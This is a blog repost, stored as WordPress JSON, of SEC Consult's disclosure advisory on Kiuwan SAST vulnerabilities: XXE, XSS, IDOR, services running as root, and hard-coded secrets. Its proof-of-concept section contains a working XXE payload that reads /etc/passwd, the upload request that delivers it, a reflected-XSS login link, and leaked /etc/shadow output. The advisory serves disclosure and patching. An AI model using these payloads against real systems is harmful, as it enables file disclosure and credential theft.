{"id":57365,"date":"2024-06-10T17:19:44","date_gmt":"2024-06-10T14:19:44","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179002\/SA-20240606-0.txt"},"modified":"2024-06-10T17:19:44","modified_gmt":"2024-06-10T14:19:44","slug":"kiuwan-local-analyzer-sast-saas-xml-injection-xss-idor","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/kiuwan-local-analyzer-sast-saas-xml-injection-xss-idor\/","title":{"rendered":"Kiuwan Local Analyzer \/ SAST \/ SaaS XML Injection \/ XSS \/ IDOR"},"content":{"rendered":"<p>SEC Consult Vulnerability Lab Security Advisory &lt; 20240606-0 &gt;<br \/>=======================================================================<br \/>title: Multiple critical vulnerabilities<br \/>product: Kiuwan SAST on-premise (KOP) &amp; cloud\/SaaS<br \/>Kiuwan Local Analyzer (KLA)<br \/>vulnerable version: Kiuwan SAST &lt;2.8.2402.3<br \/>Kiuwan Local Analyzer &lt;master.1808.p685.q13371<br \/>Kiuwan SaaS before 2024-02-05<br \/>fixed version: Kiuwan SAST 2.8.2402.3<br \/>Kiuwan Local Analyzer master.1808.p685.q13371<br \/>Kiuwan SaaS after 2024-02-05<br \/>CVE number: CVE-2023-49110, CVE-2023-49111, CVE-2023-49112<br \/>CVE-2023-49113<br \/>impact: critical<br \/>homepage: https:\/\/www.kiuwan.com<br \/>found: 2022-10-28<br \/>by: C. Schwarz (Office Bochum)<br \/>SEC Consult Vulnerability Lab<\/p>\n<p>An integrated part of SEC Consult, an Eviden business<br \/>Europe | Asia<\/p>\n<p>https:\/\/www.sec-consult.com<\/p>\n<p>=======================================================================<\/p>\n<p>Vendor description:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>&#8220;Thorough code inspection is essential for designing secure software products.<br \/>While your development team may not have time to comb through every line of code,<br \/>Kiuwan does. For 20 years, it has been the choice of developers to scan code<br \/>automatically and remediate defects according to security standards like OWASP,<br \/>CWE, SANS, and CERT.<\/p>\n<p>Static application security testing (SAST) scans for security flaws in the source<br \/>code without running the program. It is a white-box testing method that is the<br \/>counterpart to dynamic application software testing (DAST), which tests web applications<br \/>for run-time vulnerabilities. [&#8230;]\n<p>Our code vulnerability scanning tools create an all-encompassing process that<br \/>begins in the early stages of development and continues into production. Kiuwan\u2019s<br \/>static application security testing software fits perfectly into any DevOps environment.<br \/>It uses a distributed engine and fast analysis to silently add security without<br \/>causing a bottleneck in your workflows. [&#8230;]&#8221;<\/p>\n<p>Source: https:\/\/www.kiuwan.com\/code-security-sast\/<\/p>\n<p>Business recommendation:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>The vendor provides a patched version for Kiuwan On-Premise (master.1808.p685.q13371)<br \/>which should be installed immediately.<\/p>\n<p>Although initially communicated otherwise during responsible disclosure in 2022-2023<br \/>(see timeline below), the vendor confirmed in 2024 that the SaaS\/cloud version is affected<br \/>and will also be patched. The patch date was 2024-02-05, version 2.8.2402.3.<\/p>\n<p>An in-depth security analysis performed by security professionals is highly advised,<br \/>to identify and resolve potential further critical security issues and to verify whether<br \/>the developed patches really mitigate the identified critical security issues.<\/p>\n<p>SEC Consult also submitted further security issues to Kiuwan, such as Docker-related<br \/>configuration issues which were also fixed during our responsible disclosure.<\/p>\n<p>Vulnerability overview\/description:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>1) XML External Entity Injection (CVE-2023-49110)<br \/>When the Kiuwan Local Analyzer uploads the scan results to the web app (either<br \/>on-premises or cloud\/SaaS solution), the transmitted data consists of a ZIP<br \/>archive containing several files, some of them in the XML file format.<br \/>During Kiuwan&#8217;s server-side processing of these XML files, it resolves external<br \/>XML entities, resulting in a XML external entity injection attack.<\/p>\n<p>An attacker with privileges to scan source code within the &#8220;Code Security&#8221;<br \/>module is able to extract any files of the operating system with the rights<br \/>of the application server user and is potentially able to gain sensitive files,<br \/>such as configuration and passwords. Furthermore, this vulnerability also<br \/>allows an attacker to initiate connections to internal systems, e.g. for<br \/>port scans or accessing other internal functions \/ applications such as the<br \/>Wildfly admin console of Kiuwan.<\/p>\n<p>2) Services running as root<br \/>The Kiuwan web app process is configured to run with root privileges. In case<br \/>an attacker can compromise the application (such as documented in 1), this<br \/>provides them with unrestricted access to the system.<\/p>\n<p>3) Reflected Cross-Site-Scripting (CVE-2023-49111)<br \/>For Kiuwan installations with SSO (single sign-on) enabled, an unauthenticated<br \/>reflected cross-site scripting attack can be performed on the login page. This<br \/>is possible due to some request parameter values being directly included in a<br \/>JavaScript block in the response. This is especially critical in business<br \/>environments using AD SSO authentication, e.g. via ADFS, where attackers<br \/>could potentially steal AD passwords.<\/p>\n<p>4) Insecure Direct Object Reference (CVE-2023-49112)<br \/>Kiuwan provides an API endpoint to get information about any application,<br \/>providing only its name. This endpoint lacks proper access control mechanisms,<br \/>allowing other authenticated users to read information about applications, even<br \/>though they have not been granted the necessary rights to do so.<\/p>\n<p>5) Sensitive Data Stored Insecurely (CVE-2023-49113)<br \/>The Kiuwan Local Analyzer (KLA) Java application contains several hard-coded secrets in<br \/>plain text format. In some cases, this can potentially compromise the confidentiality<br \/>of the scan results.<\/p>\n<p>Proof of concept:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>1) XML External Entity Injection (CVE-2023-49110)<br \/>The scan results of the Kiuwan Local Analyzer (KLA) are transmitted to the Kiuwan<br \/>server (KOP on-premise or SaaS) using several XML files packed in a ZIP archive. Even<br \/>though the initial upload only contains encrypted .bxml files, the server also parses<br \/>regular XML files if they are present. A valid result archive with regular XML files<br \/>can be obtained by clicking on the analysis code within the analysis log feature in<br \/>the web GUI.<\/p>\n[ screenshot xxe1.png ]\n<p>Then, any XML file inside this archive can be weaponized with an XXE payload.<br \/>The following snippet is taken from a manipulated metrics_python.xml file to<br \/>exfiltrate the \/etc\/passwd file of the server:<\/p>\n<p>&lt;?xml version=&#8217;1.0&#8242; encoding=&#8217;UTF-8&#8242;?&gt;<br \/>&lt;!DOCTYPE replace [<br \/>&lt;!ENTITY xxe SYSTEM &#8220;file:\/\/\/etc\/passwd&#8221;&gt;<br \/>]&gt;<br \/>&lt;MetricReport technology=&#8217;python&#8217;&gt;<br \/>&lt;ConfidenceFactors&gt;<br \/>&lt;GlobalConf&gt;100.0&lt;\/GlobalConf&gt;<br \/>&lt;\/ConfidenceFactors&gt;<br \/>&lt;ResumenGenerico&gt;<br \/>&#8212;[SNIP]&#8212;<br \/>&lt;high&gt;100&lt;\/high&gt;<br \/>&lt;unit&gt;%&lt;\/unit&gt;<br \/>&lt;category&gt;documentation&lt;\/category&gt;<br \/>&lt;\/MetricDefinition&gt;<br \/>&lt;\/MetricDefinitions&gt;<br \/>&lt;Items&gt;<br \/>&lt;Item id=&#8217;0&#8242; type=&#8217;system&#8217;&gt;metrics: python&lt;\/Item&gt;<br \/>&lt;Item id=&#8217;1&#8242; parent=&#8217;0&#8242; type=&#8217;program&#8217;&gt;&amp;xxe;&lt;\/Item&gt;<br \/>&lt;Item id=&#8217;2&#8242; parent=&#8217;0&#8242; type=&#8217;program&#8217;&gt;plugins\/engines\/smarty.py&lt;\/Item&gt;<br \/>&lt;Item id=&#8217;3&#8242; parent=&#8217;0&#8242; type=&#8217;program&#8217;&gt;plugins\/legacy_engines\/__init__.py&lt;\/Item&gt;<br \/>&#8212;[SNIP]&#8212;<\/p>\n<p>After re-uploading the malicious archive, the server parses the XML files and<br \/>triggers the XXE injection. The results of this particular payload can be<br \/>found in the files tab of the code security module.<\/p>\n[ screenshot xxe2.png ]\n<p>The following PUT request can be used to upload the manipulated ZIP file<br \/>(gathered from capturing the request between Kiuwan Local Analyzer and the server):<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>PUT \/saas\/rest\/v1\/applications\/analyses\/report HTTP\/1.1<br \/>Content-Type: multipart\/form-data; boundary=Boundary_1_215423993_1666774847780<br \/>User-Agent: KiuwanLocalAnalyzer\/master.1706.p646.q13222 (Java\/11.0.16; Linux 5.19.0-kali2-amd64)<br \/>Authorization: Basic [&#8230;]X-CSRF-TOKEN: b2a3a08e-3e24-4e43-98e1-870fa4b8279c<br \/>X-KW-CORPORATE-DOMAIN-ID: &lt;removed&gt;<br \/>MIME-Version: 1.0<br \/>Host: KIUWAN_HOST<br \/>Accept: text\/html, image\/gif, image\/jpeg, *; q=.2, *\/*; q=.2<br \/>Connection: close<br \/>Content-Length: 48193<\/p>\n<p>&#8211;Boundary_1_215423993_1666774847780<br \/>Content-Type: text\/plain<br \/>Content-Disposition: form-data; name=&#8221;label&#8221;<\/p>\n<p>XXE test<br \/>&#8211;Boundary_1_215423993_1666774847780<br \/>Content-Type: text\/plain<br \/>Content-Disposition: form-data; name=&#8221;start&#8221;<\/p>\n<p>2022-10-26T09:00:13Z<br \/>&#8211;Boundary_1_215423993_1666774847780<br \/>Content-Type: text\/plain<br \/>Content-Disposition: form-data; name=&#8221;applicationId&#8221;<\/p>\n<p>123<br \/>&#8211;Boundary_1_215423993_1666774847780<br \/>Content-Type: text\/plain<br \/>Content-Disposition: form-data; name=&#8221;qualityModelId&#8221;<\/p>\n<p>1<br \/>&#8211;Boundary_1_215423993_1666774847780<br \/>Content-Type: text\/plain<br \/>Content-Disposition: form-data; name=&#8221;isDelivery&#8221;<\/p>\n<p>false<br \/>&#8211;Boundary_1_215423993_1666774847780<br \/>Content-Type: application\/octet-stream<br \/>Content-Disposition: form-data; filename=&#8221;results.zip&#8221;; name=&#8221;reports&#8221;<\/p>\n<p>PK [&#8230;removed XXE ZIP file contents&#8230;]&#8211;Boundary_1_215423993_1666774847780&#8211;<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n[ screenshot xxe3.png ]\n<p>2) Services running as root<br \/>By abusing the XXE injection documented above to read the &#8220;\/etc\/shadow&#8221; file of<br \/>the Kiuwan server, it is possible to retrieve its contents:<\/p>\n<p>root:locked::0:99999:7:::<br \/>bin:*:17834:0:99999:7:::<br \/>daemon:*:17834:0:99999:7:::<br \/>adm:*:17834:0:99999:7:::<br \/>lp:*:17834:0:99999:7:::<br \/>sync:*:17834:0:99999:7:::<br \/>shutdown:*:17834:0:99999:7:::<br \/>halt:*:17834:0:99999:7:::<br \/>mail:*:17834:0:99999:7:::<br \/>operator:*:17834:0:99999:7:::<br \/>games:*:17834:0:99999:7:::<br \/>ftp:*:17834:0:99999:7:::<br \/>nobody:*:17834:0:99999:7:::<br \/>systemd-network:!!:17870::::::<br \/>dbus:!!:17870::::::<br \/>jboss:!!:17940::::::<\/p>\n<p>As only root can read this file, it can be concluded that the application server runs<br \/>with root privileges. This could also be verified in the docker environment of<br \/>Kiuwan on-premises.<\/p>\n<p>3) Reflected Cross-Site-Scripting (CVE-2023-49111)<br \/>The XSS injection is possible on the login page of Kiuwan via the message parameter.<br \/>To exploit the vulnerability, a victim must click on a link with the following<br \/>payload:<\/p>\n<p>https:\/\/KIUWAN_HOST\/saas\/web\/login.html?domain=XSS&#038;message=x&#8217;%2Beval(&#8216;alert(document.location)&#8217;);\/\/&#038;sso=off<\/p>\n<p>The injected JavaScript code is only executed when the victim has a Kiuwan<br \/>domain id cached in their web browser&#8217;s localstorage (SSO-enabled users).<\/p>\n[ screenshot xxs.png ]\n<p>4) Insecure Direct Object Reference (CVE-2023-49112)<br \/>By directly querying the following API endpoint, an authenticated user with<br \/>standard privileges to access the &#8220;code security&#8221; module can query information<br \/>about any other application, even though the permissions have not been assigned<br \/>for those specific applications:<\/p>\n<p>https:\/\/KIUWAN_HOST\/saas\/rest\/v1\/info\/application?application=APPLICATION_NAME<\/p>\n<p>5) Sensitive Data Stored Insecurely (CVE-2023-49113)<br \/>Several credentials were found in the JAR files of the Kiuwan Local Analyzer.<\/p>\n<p>a) GitHub<br \/>The JAR file &#8220;lib.engine\/insight\/optimyth-insight.jar&#8221; contains the file<br \/>&#8220;InsightServicesConfig.properties&#8221;, which has the configuration tokens<br \/>&#8220;insight.github.user&#8221; as well as &#8220;insight.github.password&#8221; prefilled with<br \/>credentials. At least the specified username corresponds to a valid GitHub<br \/>account. SEC Consult did not test those credentials.<\/p>\n<p>b) Encryption Key<br \/>The JAR file &#8220;lib.engine\/insight\/optimyth-insight.jar&#8221; also contains the file<br \/>&#8220;es\/als\/security\/Encryptor.properties&#8221;, in which the key used for encrypting<br \/>the results of any performed scan.<\/p>\n<p>Vulnerable \/ tested versions:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>All tests have been performed on Kiuwan on-premise Version 2.8.2110.2, as well<br \/>as the respective Local Analyzer (KLA) version master.1706.p646.q13222.<\/p>\n<p>It was assumed that Kiuwan SaaS\/cloud was also affected by the identified vulnerabilities<br \/>during initial responsible disclosure.<\/p>\n<p>Originally, the vendor claimed that vulnerability 1) is not exploitable in the SaaS<br \/>version as HTTPS certificates are being verified, nevertheless we provided the vendor<br \/>with arguments why we still thought that it was exploitable, but because of lacking<br \/>test environment this could not be confirmed on our side.<\/p>\n<p>In early 2024 the vendor confirmed that the SaaS version is affected and is also going<br \/>to be patched.<\/p>\n<p>Vendor contact timeline:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>2022-11-08: Contacting vendor through established contacts, sharing detailed<br \/>PDF vulnerability assessment report.<br \/>2022-11-11: Sharing this security advisory information in addition.<br \/>2022-11-16: Asking for a status update; response that findings were escalated<br \/>internally and they are actively being reviewed.<br \/>2022-11-23: Asking for a status update regarding patch availability and whether<br \/>further information is needed.<br \/>2022-11-23: Vendor: Analysis complete. Critical issues will be fixed before the end<br \/>of CY23Q1. Lower risk issues will be evaluated for changes during CY23Q1<br \/>with possible implementation during CY23Q2.<br \/>2022-11-25: Telling the vendor that XSS should also be fixed earlier as the use of SSO<br \/>bears an even higher risk of stealing enterprise AD credentials.<br \/>2022-11-29: Vendor: the team are taking it into consideration.<br \/>2023-05-09: Asking for a status update.<br \/>2023-05-16: Vendor: the XSS issues will be fixed in the upcoming security update release,<br \/>which is planned in the next two months.<br \/>2023-05-17: Asking for a status update for all of the identified issues again.<br \/>Informing vendor about next steps (requesting CVE numbers, etc).<br \/>2023-05-31: Vendor response: &#8220;all critical issues are being addressed in the next security<br \/>update project&#8221;, they are furthermore adding more details on the specific<br \/>issues:<br \/>1) XXE &#8211; Vendor: affects KOP users more than cloud, as KLA verifies HTTPS<br \/>certificate of the server and there is no way to download<br \/>or modify the results as they are encrypted.<br \/>Vendor quote: &#8220;Customers using the KOP installation should take standard<br \/>measures to protect their private networks from external actors while<br \/>Kiuwan develops a patch for this issue.&#8221;<br \/>Our answer: it is a local Java application and HTTPS checks can be bypassed.<br \/>Encryption key is even stored in the local source code.<br \/>2) Services as root &#8211; Vendor: &#8220;There is no common exploit for this issue.&#8221;<br \/>Our answer: yes, the XXE issue or any other code execution + file disclosure<br \/>issue would be a problem; giving hints to least privileges and<br \/>providing links to OWASP for further guidance.<br \/>3) XSS &#8211; Vendor: only affects SSO-enabled clients. &#8220;In this case, standard<br \/>security policies should be followed for the potentially insecure<br \/>links sent to those users.&#8221;<br \/>Our answer: requesting info if this will be fixed or not and stating that<br \/>SSO-enabled users have an even higher risk of stolen enterprise<br \/>credentials.<br \/>4) IDOR &#8211; Vendor: &#8220;only impacts users within the customer&#8217;s private domain.<br \/>It means that information is not leaked outside the customer&#8217;s<br \/>boundaries&#8221;<br \/>Our answer: requesting further info what is meant by &#8220;private domain&#8221;.<br \/>No response to our question.<br \/>5) Data leakage: &#8220;There is no common exploit for this issue.&#8221;<br \/>Our answer: Yes there is, the encryption key can be used to exploit the<br \/>documented XXE issue.<\/p>\n<p>2023-06-02: Answering with very detailed statement (see our answers from above) on the why<br \/>the security issues need to be fixed and when the &#8220;next security update<br \/>project&#8221; is planned to release the patch.<br \/>2023-06-13: Vendor proposes call to discuss open questions.<br \/>2023-06-21: Conference call, clarifying next steps and that all issues are being worked on.<br \/>2023-09-07: Asking for status update<br \/>Vendor response: &#8220;development is complete, working through quality control.<br \/>Update planned within the next month.&#8221;<br \/>2023-11-08: Asking for status update, affected\/fixed version numbers and how customers<br \/>will be informed.<br \/>Vendor response: team made significant progress, final tests for general<br \/>availability and release by end of November.<br \/>2023-11-30: Update from vendor (compliance team): &#8220;we are still actively working on<br \/>this update and project this to be ready by the end of December.&#8221;<br \/>2023-12-07: Expressing our concerns and dissatisfaction about the delay again.<br \/>No response.<br \/>2024-01-16: Asking once again about the patch status as no information was received and<br \/>the vendor&#8217;s communicated release date has passed again.<br \/>Furthermore, asked about vendor communication to customers (security note),<br \/>where customers can download the patch and changelog, and that we now plan<br \/>to release the advisory latest within four weeks on 13th February 2024.<br \/>2024-01-17: Vendor: escalated our email to product management, provided the following<br \/>schedules for the resolution:<br \/>23-Jan-2024 &#8211; Kiuwan Cloud (Kiuwan SaaS)<br \/>31-Jan-2024 &#8211; Kiuwan on premise (KOP) release<br \/>No answer regarding customer communication and changelog questions.<br \/>2024-01-18: Vendor: confirms the dates again, no input regarding other questions.<br \/>2024-01-19: Asking vendor again about version numbers, where to obtain the patch, whether<br \/>all vulnerabilities will be fixed now including SaaS version. No response.<br \/>2024-01-23: Communicated patch date for SaaS passed without patch being available nor<br \/>any info from vendor.<br \/>2024-01-31: Communicated patch date for KOP passed without patch being available nor<br \/>any info from vendor.<br \/>2024-02-05: Asking for a status update and answers to our questions again, assigning<br \/>CVE numbers (CVE-2023-49110, CVE-2023-49111, CVE-2023-49112, CVE-2023-49113)<br \/>and sending them to the vendor. Informing the vendor that we<br \/>will proceed now to release our advisory on 13th February because they are<br \/>non-responsive.<br \/>2024-02-05: Vendor: did have delays, cloud security update is released today which fixes<br \/>all identifies issues. KOP update will be scheduled after it goes through QE<br \/>testing. Asking if we have further questions.<br \/>2024-02-05: Asking about answers to our previous, still open questions again.<br \/>1) Which version number for KOP is affected and which version will the patch<br \/>have?<br \/>2) How can a customer verify to have the patch installed?<br \/>3) Whether and how\/where will your customers be notified about the patch\/<br \/>security update?<br \/>4) Where to obtain the patch?<br \/>5) What is this changelog about https:\/\/www.kiuwan.com\/docs\/display\/K5\/Change+log<br \/>It does not correlate to anything we see in our KOP installation.<br \/>2024-02-05: Vendor: the cloud security update has been released today and is in production.<br \/>2024-02-05: Vendor answers questions:<br \/>Regarding KOP, several updates are combined with the security release, no ETA<br \/>yet for KOP release, but no significant delay.<br \/>1) version updates will come with the KOP release; currently improving<br \/>versioning, changelogs will begin to contain version numbers.<br \/>2) New baseline version numbers will be released and work forward from there.<br \/>3) Release notes information will be included in the changelog. Informing<br \/>customers will be discussed via Sales and Marketing.<br \/>4) Answer about release notes and changelog which will be more robust and<br \/>versioned. No info regarding where to obtain the patch.<br \/>5) Correlation is being worked on and improved.<br \/>2024-02-05: Offering to postpone the advisory release to end of February.<br \/>2024-02-12: Vendor: still working an answers to our questions, release dates ready by<br \/>&#8220;end of the week&#8221;.<br \/>2024-02-23: Asking for a status update as nearly two weeks have passed; no response.<br \/>2024-03-04: Still no response from vendor, starting preparation of advisory release.<br \/>Communicating release date for &#8220;early next week&#8221;.<br \/>2024-03-07: Vendor: Apologies for delay, cloud was patched on 6th February. Now<br \/>finalizing release with updates for KOP customers. Already &#8220;in final<br \/>stages of testing&#8221;, release will be available &#8220;by end of April at the<br \/>latest&#8221;, asking to hold off publishing the advisory. Customers will be<br \/>notified through support and\/or sales with download link, customers<br \/>can verify updated version by checking changelogs.<br \/>2024-03-08: Asking if they mean &#8220;end of April&#8221; this year, extending once more.<br \/>Expressing unsatisfactory process again, as Kiuwan already communicated<br \/>back in September 2023 that the patch is ready.<br \/>2024-03-11: Vendor confirms end of April this year, extra delay was needed to test<br \/>the patch to meet quality standards for delivery.<br \/>2024-04-25: Asking for a status update, so far no download link was provided.<br \/>Wondering why cloud patches get prioritized although KOP users pay<br \/>an additional premium for licensing.<br \/>2024-04-29: Vendor: review for upcoming KOP release is finalized, product management<br \/>team will contact us shortly.<br \/>2024-05-03: Vendor: Kiuwan On Premise testing finishes by 6th May. If no issues found,<br \/>KOP will be released in week of 13th May.<br \/>2024-05-17: Vendor: Download link was planned for today, but technical team faced issues<br \/>to provide a pre-release build for us. Provided changelog, but still no<br \/>fixed version number. Vendor informs us that our reported security<br \/>vulnerabilities were fixed.<br \/>2024-05-21: Asking Kiuwan to confirm that our submitted security issues have really<br \/>been fixed (mentioned in changelog from February 2024). Asking for a<br \/>public download link (no pre-release build) and version number.<br \/>2024-05-22: Vendor: passed information about five vulnerabilities to Kiuwan team<br \/>for verification, but our five reported issues should be fixed.<br \/>Version number not available before GA release.<br \/>Targeting release for early next week.<br \/>2024-06-01: Vendor informs us that a new KOP version was released, provides changelog<br \/>and reference numbers, upgrade guide.<br \/>2024-06-06: Coordinated release of security advisory.<\/p>\n<p>Solution:<br \/>&#8212;&#8212;&#8212;<br \/>The vendor provides a patched version master.1808.p685.q13371 which should be installed<br \/>immediately. See the changelog from the vendor:<\/p>\n<p>https:\/\/www.kiuwan.com\/docs\/display\/K5\/%5B2024-05-30%5D+Change+Log<\/p>\n<p>* XML External Entity Injection =&gt; CVE-2023-49110 is SAS-6851 fixed on release 2024-02-06<br \/>* Services Running as Root =&gt; is SAS-6856 and SAS-6857 fixed on release 2024-05-15<br \/>* Reflected Cross-site-scripting =&gt; CVE-2023-49111 is SAS-6852 fixed on release 2024-02-06<br \/>* Insecure Direct Object Reference =&gt; CVE-2023-49112 is SAS-6853 fixed on release 2024-02-06<br \/>* Sensitive Data Stored Insecurely =&gt; CVE-2023-49113 is SAS-6854, SAS-6855, SAS-6858, and SAS-6859 fixed on release 2024-02-06<\/p>\n<p>The following upgrade guide was provided by the vendor:<br \/>https:\/\/www.kiuwan.com\/docs\/display\/K5\/Kiuwan+On-Premises+Distributed+Upgrade+Guide<\/p>\n<p>Although initially communicated otherwise during responsible disclosure in 2022-2023<br \/>(see timeline above), the vendor confirmed in 2024 that the SaaS\/cloud version is affected<br \/>and will also be patched. The patch date was 2024-02-05, version 2.8.2402.3.<\/p>\n<p>SEC Consult also submitted further security issues to Kiuwan, such as Docker-related<br \/>configuration issues which were also fixed during our responsible disclosure.<br \/>* Sensitive Data Stored Insecurely for MySQL<br \/>* Sensitive Data displayed for wildfly<br \/>* Containers Running as root User<br \/>* Containers running in the host network<br \/>* Exposure of Internal Services<\/p>\n<p>Workaround:<br \/>&#8212;&#8212;&#8212;&#8211;<br \/>None<\/p>\n<p>Advisory URL:<br \/>&#8212;&#8212;&#8212;&#8212;-<br \/>https:\/\/sec-consult.com\/vulnerability-lab\/<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>SEC Consult Vulnerability Lab<br \/>An integrated part of SEC Consult, an Eviden business<br \/>Europe | Asia<\/p>\n<p>About SEC Consult Vulnerability Lab<br \/>The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an<br \/>Eviden business. It ensures the continued knowledge gain of SEC Consult in the<br \/>field of network and application security to stay ahead of the attacker. The<br \/>SEC Consult Vulnerability Lab supports high-quality penetration testing and<br \/>the evaluation of new offensive and defensive technologies for our customers.<br \/>Hence our customers obtain the most current information about vulnerabilities<br \/>and valid recommendation about the risk profile of new technologies.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br \/>Interested to work with the experts of SEC Consult?<br \/>Send us your application https:\/\/sec-consult.com\/career\/<\/p>\n<p>Interested in improving your cyber security with the experts of SEC Consult?<br \/>Contact our local offices https:\/\/sec-consult.com\/contact\/<br \/>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Mail: security-research at sec-consult dot com<br \/>Web: https:\/\/www.sec-consult.com<br \/>Blog: https:\/\/blog.sec-consult.com<br \/>Twitter: https:\/\/twitter.com\/sec_consult<\/p>\n<p>EOF Constantin Schwarz, Johannes Greil \/ @2024<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SEC Consult Vulnerability Lab Security Advisory &lt; 20240606-0 &gt;=======================================================================title: Multiple critical vulnerabilitiesproduct: Kiuwan SAST on-premise (KOP) &amp; cloud\/SaaSKiuwan Local Analyzer (KLA)vulnerable version: Kiuwan SAST &lt;2.8.2402.3Kiuwan Local Analyzer &lt;master.1808.p685.q13371Kiuwan SaaS before 2024-02-05fixed version: Kiuwan SAST 2.8.2402.3Kiuwan Local Analyzer master.1808.p685.q13371Kiuwan SaaS after 2024-02-05CVE number: CVE-2023-49110, CVE-2023-49111, CVE-2023-49112CVE-2023-49113impact: criticalhomepage: https:\/\/www.kiuwan.comfound: 2022-10-28by: C. Schwarz (Office Bochum)SEC Consult Vulnerability Lab &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57365","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57365","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57365"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57365\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57365"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57365"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57365"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}